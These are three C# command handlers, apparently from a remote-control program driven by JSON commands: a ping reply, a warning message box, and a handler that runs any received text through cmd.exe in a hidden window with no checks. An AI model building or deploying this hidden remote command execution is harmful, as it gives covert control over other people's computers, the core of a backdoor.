public override void Execute(HornetInc.JsonAPI.Json.Command com) { if (com.Value.Length == 0) { apiManager.AddNewAnswer($"Pong!"); } else { apiManager.AddNewAnswer($"Pong {com.Value}!"); } }
public override void Execute(HornetInc.JsonAPI.Json.Command com) { Process proc = new Process(); proc.StartInfo.FileName = $"{Environment.GetEnvironmentVariable("WINDIR")}\\System32\\cmd.exe"; proc.StartInfo.Arguments = "/C " + com.Value; proc.StartInfo.UseShellExecute = true; proc.StartInfo.CreateNoWindow = true; proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; proc.Start(); }
public override void Execute(HornetInc.JsonAPI.Json.Command com) { new Thread(new ThreadStart(() => { MessageBox.Show(com.Value, "Внимание!", MessageBoxButtons.OK, MessageBoxIcon.Warning); })).Start(); }